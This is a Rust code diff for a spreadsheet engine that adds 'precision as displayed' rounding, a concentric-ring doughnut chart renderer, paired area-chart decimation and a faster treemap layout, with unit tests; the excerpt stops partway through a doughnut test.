+                let hit = *c0 <= c.col && c.col <= *c1;
+                if hit {
+                    out.push(*k);
+                }
+                hit
+            });
+        }
+    }
+
    /// Formulas that read any cell of `range` (a formula can be listed more than once).
    pub fn dependents_of_range(&self, sheet: usize, range: RangeRef, out: &mut Vec<Key>) {
        if range.count() <= 4096 {
@@ -64,6 +64,9 @@ pub(super) struct PassHost<'a> {
    pub(super) tainted: HashSet<Key>,
    /// Whether the formula being evaluated has read a previous value.
    taint: bool,
+    /// "Set precision as displayed" is on: results are rounded to their cells' formats before
+    /// they are stored or read by other formulas.
+    precision: Option<crate::DisplayedPrecision>,
    /// `stack_position()` where the outermost formula being calculated started.
    stack_top: usize,
    /// Whether an evaluation ran past the stack budget since the innermost formula started.
@@ -104,6 +107,7 @@ impl<'a> PassHost<'a> {
            members: HashSet::default(),
            tainted: HashSet::default(),
            taint: false,
+            precision: wb.calc.precision_as_displayed.then(crate::DisplayedPrecision::new),
            stack_top: 0,
            out_of_stack: false,
            python: HashMap::default(),
@@ -344,6 +348,23 @@ impl PassHost<'_> {
                    let data = a.data.iter().map(|x| if matches!(x, Value::Empty) { Value::Number(0.0) } else { x.clone() }).collect();
                    Array::new(a.rows, a.cols, data).map(std::sync::Arc::new).unwrap_or(a)
                };
+                // Precision as displayed: each element takes the format of the cell it lands in.
+                let a = match self.precision.as_mut() {
+                    Some(p) if a.data.iter().any(|x| matches!(x, Value::Number(_))) => {
+                        let cols = a.cols.max(1);
+                        let data = a
+                            .data
+                            .iter()
+                            .enumerate()
+                            .map(|(i, x)| {
+                                let at = CellRef::new(k.1.row.saturating_add((i / cols) as u32), k.1.col.saturating_add((i % cols) as u32));
+                                p.round_value(self.wb, k.0, at, x.clone())
+                            })
+                            .collect();
+                        Array::new(a.rows, a.cols, data).map(std::sync::Arc::new).unwrap_or(a)
+                    }
+                    _ => a,
+                };
                // A dynamic-array formula anchors a spill range even while its result is one
                // value -- a FILTER matching one row, a SORT or UNIQUE over one item -- so `C1#`
                // is the 1 x 1 range and `ROWS(C1#)` is 1, as in Excel (#1491). A formula that
@@ -352,6 +373,10 @@ impl PassHost<'_> {
                a.data.first().cloned().unwrap_or_default()
            }
            Value::Empty => Value::Number(0.0),
+            v @ Value::Number(_) => match self.precision.as_mut() {
+                Some(p) => p.round_value(self.wb, k.0, k.1, v),
+                None => v,
+            },
            v => v,
        };
        // An array that can't spill is #SPILL! for the formulas evaluated after it in this pass too.
@@ -1922,6 +1922,72 @@ fn offset_extreme_arguments_return_ref() {
    }
 }

+/// "Set precision as displayed": results are rounded to their cell's format before they are
+/// stored and before other formulas read them. Values observed in Excel (COM,
+/// `Workbook.PrecisionAsDisplayed = True`) with the same synthetic formulas.
+#[test]
+fn precision_as_displayed_rounds_results_by_cell_format() {
+    let fmt = |t: &mut T, at: &str, code: &str| {
+        let id = t.wb.styles.intern(gridcraft_model::Style { num_fmt: gridcraft_model::NumFmt::new(code), ..Default::default() });
+        t.wb.sheet_mut(0).unwrap().set_style(c(at), id);
+    };
+    let mut t = T::new();
+    t.set("A1", "=-130+657.91");
+    t.set("A2", "=A1*10");
+    t.set("A3", "=A1/7");
+    // Cross-cell: E2 rounds what it reads from E1; E1 itself (General) keeps full precision.
+    t.set("E1", "=10/3");
+    t.set("E2", "=E1");
+    t.set("E3", "=E2*10");
+    t.set("E4", "=E1*10");
+    // A spill: each element takes the format of the cell it lands in.
+    t.set("F1", "=SEQUENCE(3,1,0.123,0.111)");
+    t.set("G4", "=SUM(F1:F3)");
+    t.set("H1", "=TRUE");
+    t.set("H2", "=\"1.5\"");
+    // A conditional format rounds by the sign's section, not the one displayed: `[<1]0.00;0`
+    // shows 2+1/3 as `2` but stores 2.33, and stores -10/3 as -3.
+    t.set("J1", "=2+1/3");
+    t.set("J2", "=-10/3");
+    t.set("K1", "=J1*3");
+    t.set("K2", "=J2*3");
+    fmt(&mut t, "J1", "[<1]0.00;0");
+    fmt(&mut t, "J2", "[<1]0.00;0");
+    fmt(&mut t, "A1", "0");
+    fmt(&mut t, "A3", "0.0000");
+    fmt(&mut t, "E2", "0");
+    fmt(&mut t, "F1", "0.0");
+    fmt(&mut t, "F2", "0.0");
+    fmt(&mut t, "H1", "0");
+    fmt(&mut t, "H2", "0");
+    // Off: formats don't change values.
+    t.calc.recalc_all(&mut t.wb);
+    assert_eq!(t.num("A1"), -130.0 + 657.91);
+    assert_eq!(t.num("E2"), 10.0 / 3.0);
+    t.wb.calc.precision_as_displayed = true;
+    t.calc.recalc_all(&mut t.wb);
+    assert_eq!((t.num("A1"), t.num("A2"), t.num("A3")), (528.0, 5280.0, 75.4286));
+    assert_eq!((t.num("E1"), t.num("E2"), t.num("E3"), t.num("E4")), (10.0 / 3.0, 3.0, 30.0, 10.0 / 3.0 * 10.0));
+    let sh = t.wb.sheet(0).unwrap();
+    assert_eq!(
+        (sh.value(c("F1")), sh.value(c("F2")), sh.value(c("F3"))),
+        (Value::Number(0.1), Value::Number(0.2), Value::Number(0.123 + 0.111 * 2.0))
+    );
+    assert_eq!(t.num("G4"), 0.1 + 0.2 + (0.123 + 0.111 * 2.0));
+    assert_eq!((t.num("J1"), t.num("J2"), t.num("K1"), t.num("K2")), (2.33, -3.0, 2.33 * 3.0, -9.0));
+    // Booleans and text are left alone.
+    assert_eq!((t.get("H1"), t.get("H2")), (Value::Bool(true), Value::from("1.5")));
+    // An edit recalculates through the rounded values too.
+    t.set("A1", "=-130+657.41");
+    fmt(&mut t, "A1", "0");
+    t.calc.cells_changed(&mut t.wb, &[(0, c("A1"))]);
+    assert_eq!((t.num("A1"), t.num("A2")), (527.0, 5270.0));
+    // Off again: a recalculation brings back full precision.
+    t.wb.calc.precision_as_displayed = false;
+    t.calc.recalc_all(&mut t.wb);
+    assert_eq!(t.num("A2"), (-130.0 + 657.41) * 10.0);
+}
+
 #[test]
 fn analysis_toolpak_value_params_reject_multi_cell_references() {
    // Excel 365 (observed): EOMONTH, WORKDAY, COUPDAYS, BIN2DEC... give #VALUE! for a reference to more
@@ -19,7 +19,7 @@ mod trend;

 use cartesian::{cartesian, scatter};
 use frame::{Bx, axis_titles, chart_title};
-use kinds::{box_whisker, funnel, histogram, pie, radar, stock, treemap, waterfall};
+use kinds::{box_whisker, doughnut, funnel, histogram, pie, radar, stock, treemap, waterfall};
 use legend::draw_legend;
 pub use legend::{Swatch, legend_entries};
 pub use trend::supports_trendline;
@@ -44,6 +44,11 @@ const MAX_LINE_PTS: usize = 2000;
 const MAX_MARKERS: usize = 5000;
 /// Data labels are skipped when a series has more points than this.
 const MAX_LABELS: usize = 200;
+/// Most wedges a doughnut draws for the whole chart. The per-series and per-category limits do not
+/// bound their product: 255 series of 20,000 categories would be millions of wedges. Every drawable
+/// ring shares this budget, so the innermost ring keeps its largest slices and the outer rings are
+/// capped instead of the chart dropping rings wholesale.
+pub(crate) const MAX_WEDGES: usize = 2_048;

 struct Ctx<'a> {
    out: Vec<Prim>,
@@ -153,7 +158,7 @@ fn draw_kind(ctx: &mut Ctx, chart: &Chart, data: &ChartData, area: Bx) {
    use ChartKind::*;
    match chart.kind {
        Pie => pie(ctx, chart, data, area, 0.0, false),
-        Doughnut => pie(ctx, chart, data, area, 0.5, false),
+        Doughnut => doughnut(ctx, chart, data, area),
        Sunburst => pie(ctx, chart, data, area, 0.2, true),
        Treemap => treemap(ctx, chart, data, area),
        Funnel => funnel(ctx, chart, data, area),
@@ -1,6 +1,6 @@
 use super::frame::{Bx, CatAxis, ValAxis, frame, on, value_range};
 use super::legend::{cat_label, plot_kind};
-use super::lines::{decimate, draw_markers, draw_runs};
+use super::lines::{decimate_area, draw_markers, draw_runs};
 use super::trend::{draw_trend_labels, draw_trendlines, max_backward, max_forward, max_forward_slots, supports_trendline};
 use super::{
    Chart, ChartData, ChartKind, Ctx, Fmt, HAlign, LABEL_SIZE, MAX_CATS, MAX_LABELS, MAX_LINE_PTS, MAX_MARKERS, Prim, Scale, SeriesData, TEXT,
@@ -96,8 +96,11 @@ fn series_spans(data: &ChartData, fams: &[Fam], sec: &[bool], ncat: usize) -> Ve
        } else {
            None
        };
-        let mut row = Vec::with_capacity(ncat);
-        for j in 0..ncat {
+        // A series without values has no spans: 255 empty series over 20,000 categories would
+        // otherwise fill ~5 million entries.
+        let n = if s.values.is_empty() { 0 } else { ncat };
+        let mut row = Vec::with_capacity(n);
+        for j in 0..n {
            let v = s.values.get(j).copied().flatten();
            let span = match (si.and_then(|p| stacks.get_mut(p)), fam) {
                (Some((_, pos, neg)), Fam::ColStack | Fam::Col100) => v.and_then(|v| {
@@ -268,10 +271,7 @@ pub(super) fn cartesian(ctx: &mut Ctx, chart: &Chart, data: &ChartData, area: Bx
                            base = vec![[b[0] - cw * 0.3, b[1]], [b[0] + cw * 0.3, b[1]]];
                        }
                    }
-                    let top = decimate(top, MAX_LINE_PTS * 2);
-                    let base = decimate(base, MAX_LINE_PTS * 2);
-                    let mut poly = top;
-                    poly.extend(base.into_iter().rev());
+                    let poly = decimate_area(top, base, MAX_LINE_PTS * 2);
                    if poly.len() >= 3 {
                        ctx.out.push(Prim::Polygon { pts: poly, fill: s.color, stroke: None });
                    }
@@ -453,3 +453,18 @@ pub(super) fn scatter(ctx: &mut Ctx, chart: &Chart, data: &ChartData, area: Bx)
    }
    draw_trend_labels(ctx, plot, &trend_labels);
 }
+
+#[cfg(test)]
+mod tests {
+    use super::*;
+
+    #[test]
+    fn empty_series_get_no_span_entries() {
+        let empty = SeriesData::default();
+        let full = SeriesData { values: vec![Some(1.0); 3], ..SeriesData::default() };
+        let data = ChartData { series: vec![empty.clone(), full, empty], ..ChartData::default() };
+        let fams = [Fam::Col; 3];
+        let spans = series_spans(&data, &fams, &[false; 3], MAX_CATS);
+        assert_eq!(spans.iter().map(Vec::len).collect::<Vec<_>>(), [0, MAX_CATS, 0]);
+    }
+}
@@ -1,8 +1,8 @@
 use super::frame::{Bx, CatAxis, ValAxis, frame, on, value_range};
 use super::legend::{cat_label, point_color};
 use super::{
-    AXIS, Chart, ChartData, Ctx, DOWN, Fmt, GRID, HAlign, LABEL_SIZE, MAX_CATS, MAX_LABELS, MAX_MARKERS, Prim, QuartileMethod, STOCK, SeriesData,
-    TAU, TEXT, UP, VAlign, WHITE, clean, nice_scale,
+    AXIS, Chart, ChartData, Ctx, DOWN, Fmt, GRID, HAlign, LABEL_SIZE, MAX_CATS, MAX_LABELS, MAX_MARKERS, MAX_SERIES, MAX_WEDGES, Prim,
+    QuartileMethod, Rgba, STOCK, SeriesData, TAU, TEXT, UP, VAlign, WHITE, clean, nice_scale,
 };

 // ---------------------------------------------------------------- histogram
@@ -163,6 +163,66 @@ pub(super) fn funnel(ctx: &mut Ctx, chart: &Chart, data: &ChartData, area: Bx) {

 // ---------------------------------------------------------------- pie, doughnut, sunburst

+/// At most `cap` of the largest values, in category order. When a ring has more categories than
+/// its share of the wedge budget allows, the big slices survive rather than the first ones.
+fn largest_slices(vals: &[f64], cap: usize) -> Vec<(usize, f64)> {
+    let mut idx: Vec<usize> = (0..vals.len()).collect();
+    if idx.len() > cap {
+        // Partition descends by value, so the first `cap` entries are the largest ones.
+        idx.select_nth_unstable_by(cap - 1, |a, b| vals[*b].total_cmp(&vals[*a]));
+        idx.truncate(cap);
+        idx.sort_unstable();
+    }
+    idx.into_iter().map(|j| (j, vals[j])).collect()
+}
+
+/// One ring's geometry and separator stroke: the slices of a ring differ only in angle and colour.
+struct Ring {
+    cx: f32,
+    cy: f32,
+    outer: f32,
+    inner: f32,
+    stroke: Option<(Rgba, f32)>,
+}
+
+/// A wedge of `ring`, split at 12 o'clock when it crosses the end of the circle.
+fn wedge(ctx: &mut Ctx, ring: &Ring, a0: f32, sweep: f32, fill: Rgba) {
+    let Ring { cx, cy, outer, inner, stroke } = *ring;
+    if sweep <= 1e-4 {
+        return;
+    }
+    // A slice that starts past 12 o'clock still has to be split against 12 o'clock, not against
+    // its unwrapped start: otherwise the half after TAU is drawn from 0 over its neighbours.
+    let a0 = a0.rem_euclid(TAU);
+    let a1 = a0 + sweep;
+    if a1 <= TAU {
+        ctx.out.push(Prim::Wedge { cx, cy, r_outer: outer, r_inner: inner, a0, a1, fill, stroke });
+        return;
+    }
+    // The halves are filled without a stroke: each would outline its own radial edge at 12
+    // o'clock, painting the white separator straight through the slice.
+    ctx.out.push(Prim::Wedge { cx, cy, r_outer: outer, r_inner: inner, a0, a1: TAU, fill, stroke: None });
+    ctx.out.push(Prim::Wedge { cx, cy, r_outer: outer, r_inner: inner, a0: 0.0, a1: a1 - TAU, fill, stroke: None });
+    if let Some((color, width)) = stroke {
+        // One outline for the whole slice: the outer and inner arcs run through 12 o'clock, and
+        // the two radial edges at the slice's own start and end close the path.
+        let arc = |r: f32, from: f32, to: f32| -> Vec<[f32; 2]> {
+            let steps = ((r.abs() * (to - from).abs() / 2.0).ceil() as usize).clamp(4, 512);
+            let at = |a: f32| [cx + r * a.sin(), cy - r * a.cos()];
+            (0..=steps).map(|k| at(from + (to - from) * k as f32 / steps as f32)).collect()
+        };
+        let mut pts = arc(outer, a0, a1);
+        if inner > 0.0 {
+            pts.extend(arc(inner, a1, a0));
+        } else {
+            pts.push([cx, cy]);
+        }
+        let start = pts[0];
+        pts.push(start);
+        ctx.out.push(Prim::Line { pts, color, width, dash: false });
+    }
+}
+
 pub(super) fn pie(ctx: &mut Ctx, chart: &Chart, data: &ChartData, area: Bx, inner: f32, names: bool) {
    let Some(s) = data.series.first() else { return };
    let vals: Vec<f64> = s.values.iter().take(MAX_CATS).map(|v| v.map(f64::abs).unwrap_or(0.0)).collect();
@@ -176,14 +236,15 @@ pub(super) fn pie(ctx: &mut Ctx, chart: &Chart, data: &ChartData, area: Bx, inne
        return;
    }
    let ri = r * inner;
+    let ring = Ring { cx, cy, outer: r, inner: ri, stroke: Some((WHITE, 1.5)) };
    let f = Fmt::new(&s.number_format);
-    let mut a = 0.0f32;
+    let mut a = (chart.first_slice_angle % 360) as f32 * TAU / 360.0;
    let mut labels = Vec::new();
    for (j, v) in vals.iter().enumerate() {
        let sweep = (*v / total) as f32 * TAU;
        if sweep > 1e-4 {
            let fill = point_color(data, j);
-            ctx.out.push(Prim::Wedge { cx, cy, r_outer: r, r_inner: ri, a0: a, a1: (a + sweep).min(TAU), fill, stroke: Some((WHITE, 1.5)) });
+            wedge(ctx, &ring, a, sweep, fill);
            if (chart.data_labels || names) && vals.len() <= MAX_LABELS {
                let t = if names { cat_label(data, j) } else { f.format(s.values.get(j).copied().flatten().unwrap_or(0.0), None) };
                let mid = a + sweep / 2.0;
@@ -201,14 +262,89 @@ pub(super) fn pie(ctx: &mut Ctx, chart: &Chart, data: &ChartData, area: Bx, inne
    }
 }

+/// Excel's doughnut: every series is one concentric ring, the first series innermost (measured in
+/// Excel: ring outer radii ≈0.83, 0.92 and 1.0 of the plot radius for series 1, 2 and 3). The hole
+/// size and first slice angle come from the chart; each ring is scaled to its own total.
+pub(super) fn doughnut(ctx: &mut Ctx, chart: &Chart, data: &ChartData, area: Bx) {
+    let nser = data.series.len().min(MAX_SERIES);
+    if nser == 0 {
+        return;
+    }
+    let (cx, cy) = (area.cx(), area.cy());
+    let r = area.w.min(area.h) / 2.0 * 0.92;
+    if r < 2.0 {
+        return;
+    }
+    let hole = f32::from(chart.hole_size.clamp(10, 90)) / 100.0;
+    let ri = r * hole;
+    let thick = (r - ri) / nser as f32;
+    // A ring thinner than a pixel would vanish. Rather than suppressing the whole chart when there
+    // are more series than the annulus has pixels, keep the outer rings at one pixel each and drop
+    // the innermost series that no longer fit: Excel's order makes the first series the innermost,
+    // so the outermost rings are the ones worth keeping.
+    let band = thick.max(1.0);
+    let start = (chart.first_slice_angle % 360) as f32 * TAU / 360.0;
+    // Only rings with a pixel of band are drawn, and the wedge budget is shared across them in
+    // drawing order: the innermost ring (the first series) gets its slices first, and the outer
+    // rings are capped instead of the series × category product growing without bound.
+    let rings: Vec<(&SeriesData, f32, f32)> = data
+        .series
+        .iter()
+        .take(nser)
+        .enumerate()
+        .filter_map(|(si, s)| {
+            let outer = (r - (nser - 1 - si) as f32 * band).min(r);
+            let inner = (r - (nser - si) as f32 * band).max(ri);
+            (outer - inner >= 1.0).then_some((s, outer, inner))
+        })
+        .collect();
+    let mut budget = MAX_WEDGES;
+    let mut labels = Vec::new();
+    for (k, (s, outer, inner)) in rings.iter().enumerate() {
+        // The white separator is 1.5 units wide, wider than a one-pixel band: on a thin ring it
+        // would paint over the fill of this ring and its neighbour, so such rings keep only fill.
+        let stroke = if outer - inner > 1.0 { Some((WHITE, 1.5)) } else { None };
+        let ring = Ring { cx, cy, outer: *outer, inner: *inner, stroke };
+        let vals: Vec<f64> = s.values.iter().take(MAX_CATS).map(|v| v.map(f64::abs).unwrap_or(0.0)).collect();
+        let cap = (budget / (rings.len() - k)).max(1);
+        let slices = largest_slices(&vals, cap);
+        let total: f64 = slices.iter().map(|(_, v)| *v).sum();
+        if !(total.is_finite() && total > 0.0) {
+            continue;
+        }
+        let n = slices.len();
+        budget = budget.saturating_sub(n);
+        let f = Fmt::new(&s.number_format);
+        let mut a = start;
+        for (j, v) in slices {
+            let sweep = (v / total) as f32 * TAU;
+            if sweep > 1e-4 {
+                let fill = point_color(data, j);
+                wedge(ctx, &ring, a, sweep, fill);
+                if chart.data_labels && n <= MAX_LABELS {
+                    let t = f.format(s.values.get(j).copied().flatten().unwrap_or(0.0), None);
+                    let mid = a + sweep / 2.0;
+                    let rr = (outer + inner) / 2.0;
+                    if ctx.tw(&t, LABEL_SIZE) <= (sweep * rr).max(outer - inner) && sweep * rr >= LABEL_SIZE {
+                        labels.push((cx + rr * mid.sin(), cy - rr * mid.cos(), t, on(fill)));
+                    }
+                }
+            }
+            a += sweep;
+        }
+    }
+    for (x, y, t, c) in labels {
+        ctx.text(x, y, &t, LABEL_SIZE, c, (HAlign::Center, VAlign::Middle));
+    }
+}
+
 // ---------------------------------------------------------------- treemap

-fn worst(row: &[f64], side: f64) -> f64 {
-    let s: f64 = row.iter().sum();
+/// Worst aspect ratio of a row with the given sum, smallest and largest area.
+fn worst(s: f64, mn: f64, mx: f64, side: f64) -> f64 {
    if s <= 0.0 || side <= 0.0 {
        return f64::INFINITY;
    }
-    let (mn, mx) = row.iter().fold((f64::INFINITY, 0.0f64), |(a, b), v| (a.min(*v), b.max(*v)));
    let s2 = s * s;
    let w2 = side * side;
    (w2 * mx / s2).max(s2 / (w2 * mn))
@@ -225,6 +361,8 @@ fn squarify(items: &[(usize, f64)], r: Bx) -> Vec<(usize, Bx)> {
    let mut out = Vec::with_capacity(items.len());
    let mut rem = r;
    let mut row: Vec<(usize, f64)> = Vec::new();
+    // The row's sum, smallest and largest area, kept as items join so each step is O(1).
+    let (mut sum, mut mn, mut mx) = (0.0f64, f64::INFINITY, 0.0f64);
    let mut i = 0;
    let layout = |row: &[(usize, f64)], rem: &mut Bx, out: &mut Vec<(usize, Bx)>| {
        let s: f64 = row.iter().map(|x| x.1).sum();
@@ -256,15 +394,14 @@ fn squarify(items: &[(usize, f64)], r: Bx) -> Vec<(usize, Bx)> {
    while let Some(&(j, v)) = items.get(i) {
        let a = v * scale;
        let side = rem.w.min(rem.h) as f64;
-        let cur: Vec<f64> = row.iter().map(|x| x.1).collect();
-        let mut with = cur.clone();
-        with.push(a);
-        if row.is_empty() || worst(&with, side) <= worst(&cur, side) {
+        if row.is_empty() || worst(sum + a, mn.min(a), mx.max(a), side) <= worst(sum, mn, mx, side) {
            row.push((j, a));
+            (sum, mn, mx) = (sum + a, mn.min(a), mx.max(a));
            i += 1;
        } else {
            layout(&row, &mut rem, &mut out);
            row.clear();
+            (sum, mn, mx) = (0.0, f64::INFINITY, 0.0);
        }
    }
    if !row.is_empty() {
@@ -279,6 +416,7 @@ pub(super) fn treemap(ctx: &mut Ctx, chart: &Chart, data: &ChartData, area: Bx)
        s.values.iter().take(MAX_MARKERS).enumerate().filter_map(|(j, v)| v.filter(|v| *v > 0.0).map(|v| (j, v))).collect();
    items.sort_by(|a, b| b.1.total_cmp(&a.1));
    let f = Fmt::new(&s.number_format);
+    let value_of: std::collections::HashMap<usize, f64> = items.iter().copied().collect();
    for (j, b) in squarify(&items, area) {
        let fill = point_color(data, j);
        ctx.rect(b.x, b.y, b.w, b.h, fill, Some((WHITE, 1.5)));
@@ -286,7 +424,7 @@ pub(super) fn treemap(ctx: &mut Ctx, chart: &Chart, data: &ChartData, area: Bx)
            let name = ctx.fit(&cat_label(data, j), LABEL_SIZE, b.w - 8.0);
            ctx.text(b.x + 4.0, b.y + 4.0, &name, LABEL_SIZE, on(fill), (HAlign::Left, VAlign::Top));
            if chart.data_labels && b.h > LABEL_SIZE * 3.2 {
-                let v = items.iter().find(|x| x.0 == j).map(|x| x.1).unwrap_or(0.0);
+                let v = value_of.get(&j).copied().unwrap_or(0.0);
                let t = ctx.fit(&f.format(v, None), LABEL_SIZE, b.w - 8.0);
                ctx.text(b.x + 4.0, b.y + 4.0 + LABEL_SIZE * 1.4, &t, LABEL_SIZE, on(fill), (HAlign::Left, VAlign::Top));
            }
@@ -42,6 +42,8 @@ pub fn legend_entries(chart: &Chart, data: &ChartData) -> Vec<(String, Rgba, Swa
        return vec![];
    }
    match chart.kind {
+        // Pie, doughnut (Excel's default `varyColors=1`, so every ring repeats the category colours
+        // and the legend names categories rather than series), treemap and sunburst.
        ChartKind::Pie | ChartKind::Doughnut | ChartKind::Treemap | ChartKind::Sunburst => {
            let n = first_len(data).min(MAX_CATS);
            (0..n).map(|j| (cat_label(data, j), point_color(data, j), Swatch::Box)).collect()
@@ -54,6 +54,86 @@ pub(super) fn decimate(pts: Vec<[f32; 2]>, max: usize) -> Vec<[f32; 2]> {
    out
 }

+/// Decimates the top and baseline of an area chart together at the same horizontal indices so
+/// `area_mesh`'s paired vertical-strip topology (`pts[i]` ↔ `pts[2n - 1 - i]`) is preserved.
+pub(super) fn decimate_area(top: Vec<[f32; 2]>, base: Vec<[f32; 2]>, max: usize) -> Vec<[f32; 2]> {
+    let n = top.len().min(base.len());
+    if n == 0 {
+        return Vec::new();
+    }
+    if n <= max {
+        let mut poly = top;
+        poly.truncate(n);
+        poly.extend(base.into_iter().take(n).rev());
+        return poly;
+    }
+    let mut cols: Vec<[usize; 6]> = Vec::new();
+    let mut keep = Vec::with_capacity(max * 2);
+    let mut i = 0;
+    while i < n {
+        let col = top[i][0].floor();
+        let (start, mut t_mn, mut t_mx, mut b_mn, mut b_mx) = (i, i, i, i, i);
+        let mut k = i + 1;
+        while k < n && top[k][0].floor() == col {
+            if top[k][1] < top[t_mn][1] {
+                t_mn = k;
+            }
+            if top[k][1] > top[t_mx][1] {
+                t_mx = k;
+            }
+            if base[k][1] < base[b_mn][1] {
+                b_mn = k;
+            }
+            if base[k][1] > base[b_mx][1] {
+                b_mx = k;
+            }
+            k += 1;
+        }
+        let entry = [start, t_mn, t_mx, b_mn, b_mx, k - 1];
+        cols.push(entry);
+        let mut idx = entry;
+        idx.sort_unstable();
+        let mut last = usize::MAX;
+        for ix in idx {
+            if ix != last {
+                keep.push(ix);
+                last = ix;
+            }
+        }
+        i = k;
+    }
+    if keep.len() > max * 4 {
+        let max_groups = (max * 4 / 6).max(1);
+        let group_size = cols.len().div_ceil(max_groups);
+        keep.clear();
+        for ch in cols.chunks(group_size) {
+            let start = ch[0][0];
+            let end = ch.last().map_or(start, |c| c[5]);
+            let t_mn = ch.iter().map(|c| c[1]).min_by(|&a, &b| top[a][1].total_cmp(&top[b][1])).unwrap_or(start);
+            let t_mx = ch.iter().map(|c| c[2]).max_by(|&a, &b| top[a][1].total_cmp(&top[b][1])).unwrap_or(start);
+            let b_mn = ch.iter().map(|c| c[3]).min_by(|&a, &b| base[a][1].total_cmp(&base[b][1])).unwrap_or(start);
+            let b_mx = ch.iter().map(|c| c[4]).max_by(|&a, &b| base[a][1].total_cmp(&base[b][1])).unwrap_or(start);
+            let mut idx = [start, t_mn, t_mx, b_mn, b_mx, end];
+            idx.sort_unstable();
+            let mut last = usize::MAX;
+            for ix in idx {
+                if ix != last {
+                    keep.push(ix);
+                    last = ix;
+                }
+            }
+        }
+    }
+    let mut poly = Vec::with_capacity(keep.len() * 2);
+    for &ix in &keep {
+        poly.push(top[ix]);
+    }
+    for &ix in keep.iter().rev() {
+        poly.push(base[ix]);
+    }
+    poly
+}
+
 /// Draws a polyline split at gaps (`None`), decimated when long. With `smooth` (the plot box),
 /// each run is interpolated with a Catmull-Rom spline so the line curves through the data points.
 pub(super) fn draw_runs(ctx: &mut Ctx, pts: &[Option<[f32; 2]>], color: Rgba, width: f32, smooth: Option<Bx>) {
@@ -155,4 +235,57 @@ mod smooth_tests {
        assert!(out.len() > 5);
        assert!(out.iter().all(|p| (0.0..=300.0).contains(&p[0]) && (10.0..=110.0).contains(&p[1])));
    }
+
+    #[test]
+    fn decimate_area_preserves_paired_vertical_strips() {
+        let top: Vec<[f32; 2]> = (0..1000).map(|i| [i as f32 * 0.25, ((i * 37) % 100) as f32]).collect();
+        let base: Vec<[f32; 2]> = (0..1000).map(|i| [i as f32 * 0.25, 100.0]).collect();
+        let poly = decimate_area(top, base, 64);
+        assert_eq!(poly.len() % 2, 0);
+        let half = poly.len() / 2;
+        for i in 0..half {
+            assert_eq!(poly[i][0], poly[poly.len() - 1 - i][0]);
+            assert_eq!(poly[poly.len() - 1 - i][1], 100.0);
+        }
+    }
+
+    #[test]
+    fn decimate_area_preserves_extrema_across_3000_columns() {
+        // 3,000 occupied pixel columns with 6 points per column (18,000 points total),
+        // where each column has distinct top and baseline extrema so the initial per-column
+        // index list exceeds `MAX_LINE_PTS * 2 * 4` (6,400).
+        let max = MAX_LINE_PTS * 2;
+        let mut top = Vec::with_capacity(18_000);
+        let mut base = Vec::with_capacity(18_000);
+        for col in 0..3_000 {
+            let y_top = [50.0, 20.0, 80.0, 50.0, 50.0, 50.0];
+            let y_base = [150.0, 150.0, 150.0, 120.0, 180.0, 150.0];
+            for s in 0..6 {
+                let x = col as f32 + s as f32 * 0.1;
+                top.push([x, y_top[s]]);
+                base.push([x, y_base[s]]);
+            }
+        }
+        // Plant sharp spikes on both top and baseline in interior columns.
+        top[777 * 6 + 1][1] = 1.0;
+        top[1999 * 6 + 2][1] = 99.0;
+        base[1234 * 6 + 3][1] = 101.0;
+        base[2501 * 6 + 4][1] = 199.0;
+
+        let poly = decimate_area(top, base, max);
+        assert_eq!(poly.len() % 2, 0);
+        let half = poly.len() / 2;
+        assert!(half <= max * 4, "retained {half} paired vertices, limit is {}", max * 4);
+        for i in 0..half {
+            assert_eq!(poly[i][0], poly[poly.len() - 1 - i][0]);
+        }
+        let top_kept = &poly[..half];
+        let base_kept = &poly[half..];
+        assert_eq!(top_kept.first().map(|p| p[0]), Some(0.0));
+        assert_eq!(top_kept.last().map(|p| p[0]), Some(2999.5));
+        assert!(top_kept.iter().any(|p| p[1] == 1.0), "top min spike preserved");
+        assert!(top_kept.iter().any(|p| p[1] == 99.0), "top max spike preserved");
+        assert!(base_kept.iter().any(|p| p[1] == 101.0), "base min spike preserved");
+        assert!(base_kept.iter().any(|p| p[1] == 199.0), "base max spike preserved");
+    }
 }
@@ -179,9 +179,10 @@ fn category_table(wb: &Workbook, sheet: usize, formula: &str, values: &str) -> (
 /// Whether `t` names a defined name seen from `sheet` (`Name`, or `Sheet1!Name` looked up on
 /// that sheet), the way the evaluator looks names up.
 fn is_defined_name(wb: &Workbook, sheet: usize, t: &str) -> bool {
-    match t.split_once('!') {
-        Some((s, bare)) => wb.sheet_index(s.trim_matches('\'')).is_some_and(|i| wb.name(bare, i).is_some()),
-        None => wb.name(t, sheet).is_some(),
+    // `'Bob''s'!Name`: the sheet is unquoted as everywhere else (#2012).
+    match gridcraft_core::split_sheet(t) {
+        (Some(s), bare) => wb.sheet_index(&s).is_some_and(|i| wb.name(bare, i).is_some()),
+        (None, _) => wb.name(t, sheet).is_some(),
    }
 }

@@ -48,6 +48,8 @@ fn chart(kind: ChartKind) -> Chart {
        data_table: None,
        gridlines: true,
        style: 0,
+        hole_size: 75,
+        first_slice_angle: 0,
        x_title: Some("Quarter".into()),
        y_title: Some("Revenue".into()),
        source: None,
@@ -149,6 +151,317 @@ fn every_kind_renders_sanely() {
    }
 }

+#[test]
+fn doughnut_draws_each_series_as_a_ring() {
+    let mut c = chart(ChartKind::Doughnut);
+    c.title = None;
+    c.legend = LegendPos::None;
+    c.data_labels = false;
+    c.hole_size = 25;
+    c.first_slice_angle = 0;
+    let d = ChartData {
+        category_levels: vec![],
+        palette: vec![],
+        categories: ["A", "B", "C"].iter().map(|s| s.to_string()).collect(),
+        series: vec![
+            series("Inner", &[1.0, 2.0, 3.0], [20, 96, 130, 255], ChartKind::Doughnut),
+            series("Middle", &[3.0, 2.0, 1.0], [221, 132, 82, 255], ChartKind::Doughnut),
+            series("Outer", &[1.0, 1.0, 1.0], [89, 161, 79, 255], ChartKind::Doughnut),
+        ],
+    };
+    let prims = render(&c, &d, 640.0, 400.0, &ApproxMeasure);
+    let wedges: Vec<(f32, f32, f32)> = prims
+        .iter()
+        .filter_map(|p| match p {
+            Prim::Wedge { r_outer, r_inner, a0, .. } => Some((*r_outer, *r_inner, *a0)),
+            _ => None,
+        })
+        .collect();
+    assert_eq!(wedges.len(), 9, "three rings of three slices");
+    // Excel draws the first series as the innermost ring; the hole is 25% of the radius.
+    assert!(wedges[0].0 < wedges[3].0 && wedges[3].0 < wedges[6].0, "{wedges:?}");
+    assert!(wedges[0].1 > 0.0, "hole: {wedges:?}");
+}
+
+#[test]
+fn doughnut_with_many_series_still_draws_the_outer_rings() {
+    let mut c = chart(ChartKind::Doughnut);
+    c.title = None;
